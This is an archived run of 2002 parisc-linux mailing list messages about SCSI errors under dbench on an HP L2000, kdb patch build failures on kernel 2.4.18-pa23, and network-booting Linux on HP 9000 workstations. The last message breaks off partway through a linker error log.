	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621280 7065 80.91.229.3 (22 Nov 2014 01:54:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:40 +0000 (UTC)
To: "'Grant Grundler'" <grundler@dsl2.external.hp.com>,
	<parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  7 00:57:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from intro.peace.co.nz (intro.peace.co.nz [202.14.141.227])
	by dsl2.external.hp.com (Postfix) with ESMTP id DAAE0482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  7 May 2002 00:57:04 -0600 (MDT)
In-Reply-To: <20020507062119.F0744482A@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14729

> Which kernel version?
Ooops, forgot to include this, its:

2.4.18-pa24, and
2.4.18-pa23 
 
> This suggests something is wrong with that device.
> Are all RAID0 disks internal? Or connected to external box?
> I see further down they seem to be working fine individually.

All disks are internal disks in the hotswap cage thing, connected to the
core I/O board (? not sure if that's what its called , it's a big board
with 3 SCSI cables on it and the ethernet jack/external SCSI). All the
disks are plugged into this, two disks per cable, and the DVD on its own
cable.

> Can you post lspci -v output from you L2000?
> I just want to verify the built-in SCSI chips are the
> same as on my A500: sym53c896.

Sure:

hypo:~# lspci -v
00:00.0 Ethernet controller: Digital Equipment Corporation DECchip
21142/43 (rev 41)
        Subsystem: Hewlett-Packard Company: Unknown device 104f
        Flags: bus master, medium devsel, latency 128, IRQ 128
        I/O ports at 0080 [size=128]
        Memory at fffffff0 (32-bit, non-prefetchable) [size=1K]
        Expansion ROM at fffff800 [size=256K]

00:01.0 SCSI storage controller: LSI Logic / Symbios Logic (formerly
NCR) 53c896 (rev 05)
        Flags: bus master, medium devsel, latency 0, IRQ 129
        I/O ports at 0100 [size=256]
        Memory at fffffff0 (64-bit, non-prefetchable) [size=1K]
        Memory at fffffff0 (64-bit, non-prefetchable) [size=8K]
        Capabilities: [40] Power Management version 2

00:01.1 SCSI storage controller: LSI Logic / Symbios Logic (formerly
NCR) 53c896 (rev 05)
        Flags: bus master, medium devsel, latency 0, IRQ 130
        I/O ports at 0200 [size=256]
        Memory at fffffff0 (64-bit, non-prefetchable) [size=1K]
        Memory at fffffff0 (64-bit, non-prefetchable) [size=8K]
        Capabilities: [40] Power Management version 2

00:02.0 SCSI storage controller: LSI Logic / Symbios Logic (formerly
NCR) 53c875 (rev 14)
        Flags: bus master, medium devsel, latency 0, IRQ 130
        I/O ports at 0300 [size=256]
        Memory at fffffff0 (32-bit, non-prefetchable) [size=256]
        Memory at fffffff0 (32-bit, non-prefetchable) [size=4K]

00:02.1 SCSI storage controller: LSI Logic / Symbios Logic (formerly
NCR) 53c875 (rev 14)
        Flags: bus master, medium devsel, latency 0, IRQ 131
        I/O ports at 0400 [size=256]
        Memory at fffffff0 (32-bit, non-prefetchable) [size=256]
        Memory at fffffff0 (32-bit, non-prefetchable) [size=4K]

00:04.0 Serial controller: Hewlett-Packard Company: Unknown device 1048
(rev 02) (prog-if 02 [16550])
        Subsystem: Hewlett-Packard Company: Unknown device 1049
        Flags: bus master, medium devsel, latency 0, IRQ 132
        BIST result: 00
        Memory at fffffff0 (32-bit, non-prefetchable) [size=4K]
        I/O ports at 0040 [size=64]

00:05.0 Serial controller: Hewlett-Packard Company: Unknown device 1048
(rev 02) (prog-if 02 [16550])
        Subsystem: Hewlett-Packard Company: Unknown device 104a
        Flags: medium devsel, IRQ 133
        BIST result: 00
        Memory at fffffff0 (32-bit, non-prefetchable) [size=4K]
        I/O ports at 0500 [size=64]

08:02.0 SCSI storage controller: QLogic Corp. ISP1020 Fast-wide SCSI
(rev 05)
        Subsystem: QLogic Corp.: Unknown device 0000
        Flags: medium devsel, IRQ 194
        I/O ports at 10000 [disabled] [size=256]
        Memory at fffffff0 (32-bit, non-prefetchable) [disabled]
[size=4K]
        Expansion ROM at fffff800 [size=64K]

08:03.0 SCSI storage controller: QLogic Corp. ISP1020 Fast-wide SCSI
(rev 05)
        Subsystem: QLogic Corp.: Unknown device 0000
        Flags: medium devsel, IRQ 195
        I/O ports at 10100 [disabled] [size=256]
        Memory at fffffff0 (32-bit, non-prefetchable) [disabled]
[size=4K]
        Expansion ROM at fffff800 [size=64K]

20:00.0 SCSI storage controller: LSI Logic / Symbios Logic (formerly
NCR) 53c875 (rev 04)
        Flags: bus master, medium devsel, latency 0, IRQ 384
        I/O ports at 40000 [size=256]
        Memory at fffffff0 (32-bit, non-prefetchable) [size=256]
        Memory at fffffff0 (32-bit, non-prefetchable) [size=4K]
        Expansion ROM at fffff800 [size=64K]

The Qlogic cards I put in as I was going to move the scsi drives onto
them, but then I found out that the Qlogic ISP driver doesn't compile
for PA-RISC (doh!). The problem happens with or without the Qlogic
boards in there.

> Can you try running two different dbench instances at the some time on
> two different disks?

On three disks (sdb/sdc/sdd):

hypo:/sdb# dbench 10
10 clients started
..........

hypo:/sdc# dbench 10
10 clients started
..............

hypo:/sdd# dbench 10
10 clients started
........................................................................
................................................

None of them finish, and I get a ton of both bus and device
RESETS/ABORTS on the GSP terminal.

On two disks (sdc/sdc):

hypo:/sdb# dbench 10
10 clients started
......................................

hypo:/sdc# dbench 10
10 clients started
...............

Pretty much the same thing, lots of RESETS/ABORTS. I can post these if
needed, but its pretty much just more of what was in my first message.
It all goes pear shaped after this with lots of I/O errors and EXT2
errors, e.g.

EXT2-fs error (device sd(8,17)): ext2_write_inode: unable to read inode
block - inode=1357217, block=2719749
 I/O error: dev 08:11, sector 9961512
 I/O error: dev 08:11, sector 0

I will try again with dbench on just one disk at a time as well.

Thanks, James.




From - Thu Nov 08 21:22:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb patches for -pa23 ... moooo!
Date: Tue, 07 May 2002 09:25:05 +0200 (CEST)
Lines: 56
Approved: news@gmane.org
Message-ID: <1020756305.3cd7815151303@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621280 7069 80.91.229.3 (22 Nov 2014 01:54:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  7 01:25:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id BAB07482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  7 May 2002 01:25:35 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 174zLN-0004Kf-00; Tue, 07 May 2002 09:25:05 +0200
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14730

Hi Carlos,

Well I well get your patch which I apply successfully against pa23.

On the other hand, I also reach to rebuild a toolchain with gcc-3.1 (some
difficulties with 3.2).

So to try to figure out what the problem is with kernel IP compile with gcc >
3.1, I try to compile kernel 2.4.18-pa23-kdb with gcc 3.1. But without any
experience with kdb the operation failled with following message:

gcc -D__KERNEL__
-I/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/include -Wall
-Wstrict-prototypes -Wno-trigraphs -O2 -fomit-frame-pointer -fno-strict-aliasing
-fno-common -D__linux__ -pipe -fno-strength-reduce -mno-space-regs
-mfast-indirect-calls -mdisable-fpregs -ffunction-sections -march=1.1
-mschedule=7100   -DKBUILD_BASENAME=traps  -c -o traps.o traps.c
traps.c:50:23: linux/kdb.h: No such file or directory
traps.c: In function `die_if_kernel':
traps.c:310: warning: implicit declaration of function `kdb'
traps.c:310: `KDB_REASON_OOPS' undeclared (first use in this function)
traps.c:310: (Each undeclared identifier is reported only once
traps.c:310: for each function it appears in.)
traps.c: In function `handle_break':
traps.c:383: `KDB_BREAK_ENTER_INSN' undeclared (first use in this function)
traps.c:384: `KDB_REASON_ENTER' undeclared (first use in this function)
traps.c:387: `KDB_BREAK_BREAK_INSN' undeclared (first use in this function)
traps.c:388: `KDB_REASON_BREAK' undeclared (first use in this function)
traps.c: In function `handle_interruption':
traps.c:657: `KDB_REASON_DEBUG' undeclared (first use in this function)
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/include/asm/irq.h: At
top level:
traps.c:130: warning: `dump_stack' defined but not used
make[1]: *** [traps.o] Error 1
make[1]: Leaving directory
`/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kernel'
make: *** [_dir_arch/parisc/kernel] Error 2
Mon May  6 20:52:40 CEST 2002

Hmm the patch put kdb.h in include/asm-parisc but all #include refer to linux/kdb.h?

There should be also some problem with my .config where I select 
CONFIG_KDB=y
CONFIG_KDB_MODULES=y
# CONFIG_KDB_OFF is not set
CONFIG_KALLSYMS=y

(the rest is obtain for a common make oldconfig for PA7000 processor type)

Thanks in advance for additionnal help,
    Joel

-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: DerrickMcCray@aol.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP 9000 systems
Date: Tue, 7 May 2002 04:10:14 EDT
Lines: 26
Approved: news@gmane.org
Message-ID: <110.11d06265.2a08e5e6@aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="part1_110.11d06265.2a08e5e6_boundary"
X-Trace: ger.gmane.org 1416621281 7072 80.91.229.3 (22 Nov 2014 01:54:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  7 02:10:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from imo-r03.mx.aol.com (imo-r03.mx.aol.com [152.163.225.99])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3BB68482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  7 May 2002 02:10:18 -0600 (MDT)
Original-Received: from DerrickMcCray@aol.com
	by imo-r03.mx.aol.com (mail_out_v32.5.) id n.110.11d06265 (17231)
	 for <parisc-linux@lists.parisc-linux.org>; Tue, 7 May 2002 04:10:14 -0400 (EDT)
X-Mailer: AOL 7.0 for Windows US sub 10504
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14731

--part1_110.11d06265.2a08e5e6_boundary
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

Hi, 
I recently ran across some HP 9000 715/80 and 712/60 computers at a garage 
sale and bought 4 systems for 70 dollars. There is no operating system on the 
computers and no cd-rom drive. My question is how can a get PA-Risc Linux 
installed on these machines because I can't seem to get the systems to boot 
from the floppy drive. What is the best way to get PA-Risc Linux installed on 
the systems. Any information will be greatly appreciated. Thank you.

Derrick McCray

--part1_110.11d06265.2a08e5e6_boundary
Content-Type: text/html; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

<HTML><FONT FACE=arial,helvetica><FONT  SIZE=2 FAMILY="SANSSERIF" FACE="Arial" LANG="0">Hi, <BR>
I recently ran across some HP 9000 715/80 and 712/60 computers at a garage sale and bought 4 systems for 70 dollars. There is no operating system on the computers and no cd-rom drive. My question is how can a get PA-Risc Linux installed on these machines because I can't seem to get the systems to boot from the floppy drive. What is the best way to get PA-Risc Linux installed on the systems. Any information will be greatly appreciated. Thank you.<BR>
<BR>
Derrick McCray</FONT></HTML>

--part1_110.11d06265.2a08e5e6_boundary--



From - Thu Nov 08 21:22:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000 systems
Date: Tue, 7 May 2002 09:12:35 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20020507081235.GG1617@sleepie.demon.co.uk>
References: <110.11d06265.2a08e5e6@aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621281 7076 80.91.229.3 (22 Nov 2014 01:54:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: DerrickMcCray@aol.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  7 02:33:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc4-hems4-0-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id 12027482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  7 May 2002 02:33:06 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id BB8929E96D; Tue,  7 May 2002 09:12:35 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <110.11d06265.2a08e5e6@aol.com>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14732

On Tue, May 07, 2002 at 04:10:14AM -0400, DerrickMcCray@aol.com wrote:
> Hi, 
> I recently ran across some HP 9000 715/80 and 712/60 computers at a garage 
> sale and bought 4 systems for 70 dollars. There is no operating system on the 
> computers and no cd-rom drive. My question is how can a get PA-Risc Linux 
> installed on these machines because I can't seem to get the systems to boot 
> from the floppy drive. What is the best way to get PA-Risc Linux installed on 
> the systems. Any information will be greatly appreciated. Thank you.

Floppy is not correctly supported.

You should be able to network boot them without much trouble.  See
<http://www.tldp.org/HOWTO/PA-RISC-Linux-Boot-HOWTO/> for pointers.  You
can start a debian install by booting a lifimage from:
<http://ftp.uk.debian.org/debian/dists/woody/main/disks-hppa/3.0.22-2002-04-03/lifimage>

Richard




From - Thu Nov 08 21:22:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000 systems
Date: Tue, 7 May 2002 16:25:25 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <20020507142525.GL23511@charite.de>
References: <110.11d06265.2a08e5e6@aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621281 7079 80.91.229.3 (22 Nov 2014 01:54:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: DerrickMcCray@aol.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  7 08:25:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id B2A81482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  7 May 2002 08:25:27 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 823C515C00F; Tue,  7 May 2002 16:25:25 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 49529633B3; Tue,  7 May 2002 16:25:25 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <110.11d06265.2a08e5e6@aol.com>
User-Agent: Mutt/1.3.99i
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14733

On Tue, May 07, 2002 at 04:10:14AM -0400, DerrickMcCray@aol.com wrote:
> Hi, 
> I recently ran across some HP 9000 715/80 and 712/60 computers at a garage 
> sale and bought 4 systems for 70 dollars. There is no operating system on the 

Way to go!

> computers and no cd-rom drive. My question is how can a get PA-Risc Linux 
> installed on these machines because I can't seem to get the systems to boot 
> from the floppy drive. What is the best way to get PA-Risc Linux installed on 
> the systems. Any information will be greatly appreciated. Thank you.

Either you get a SCSI CD-ROM to boot from and use the 0.9.3 or better
ISO image or your boot from a DHCP/BOOTP server:

http://pateam.esiee.fr/parisc-linux-boot/parisc-linux-boot.html#BOOTNETWORK

Warning: This may not be for the faint of heart.

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
Why you can't find your system administrators:
Hiding in another office where he can work without getting interrupted. 




From - Thu Nov 08 21:22:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb patches for -pa23 ... moooo!
Date: Tue, 07 May 2002 18:06:13 +0200 (CEST)
Lines: 377
Approved: news@gmane.org
Message-ID: <1020787573.3cd7fb75053c7@webmail.tiscalinet.be>
References: <1020756305.3cd7815151303@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621282 7081 80.91.229.3 (22 Nov 2014 01:54:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  7 10:06:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4B7B4482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  7 May 2002 10:06:46 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 1757Th-0000jG-00; Tue, 07 May 2002 18:06:13 +0200
In-Reply-To: <1020756305.3cd7815151303@webmail.tiscalinet.be>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14734

Hey,

in fact, I find that it is missing following files in include/linux:
kdb.h; kallsyms.h; dis-asm.h; kdbprivate.h.

Never the less, after ( make dep; make clean ; make vmlinux ) this last still
failled with message:

`gcc -print-libgcc-file-name`
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/lib/lib.a
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/lib/lib.a
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o  \
	--end-group \
	-o vmlinux
arch/parisc/kernel/kernel.o: In function `.L202':
arch/parisc/kernel/kernel.o(.text.die_if_kernel+0x110): undefined reference to `kdb'
arch/parisc/kernel/kernel.o: In function `.L223':
arch/parisc/kernel/kernel.o(.text.handle_break+0xd8): undefined reference to `kdb'
arch/parisc/kernel/kernel.o: In function `.L396':
arch/parisc/kernel/kernel.o(.text.handle_interruption+0x4e8): undefined
reference to `kdb'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `bt_print_one':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.bt_print_one+0xc):
undefined reference to `kdb_symbol_print'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `kdba_bt_stack':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_bt_stack+0x34):
undefined reference to `kdb_printf'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `.L111':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_bt_stack+0xd0):
undefined reference to `kdbnearsym'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_bt_stack+0x120):
undefined reference to `kdb_printf'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `kdba_db_trap':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_db_trap+0x0):
undefined reference to `kdb_flags'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_db_trap+0x30):
undefined reference to `kdb_flags'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `.L149':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_db_trap+0x44):
undefined reference to `kdb_state'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `.L150':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_db_trap+0x6c):
undefined reference to `kdb_state'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_db_trap+0x74):
undefined reference to `kdb_state'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_db_trap+0x78):
undefined reference to `kdb_flags'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `.L152':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_db_trap+0x88):
undefined reference to `kdb_state'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_db_trap+0x8c):
undefined reference to `kdb_breakpoints'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_db_trap+0x9c):
undefined reference to `kdb_state'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_db_trap+0xa0):
undefined reference to `kdb_breakpoints'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_db_trap+0xa4):
undefined reference to `kdb_flags'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `.L157':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_db_trap+0xd0):
undefined reference to `kdb_flags'
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o:
In function `.L165':
/GNU-Dev/parisc-linux/src/linux-2.4.18-pa23-kdb-20020502/arch/parisc/kdb/kdba.o(.text.kdba_db_trap+0xfc):
undefined reference to `kdb_state'
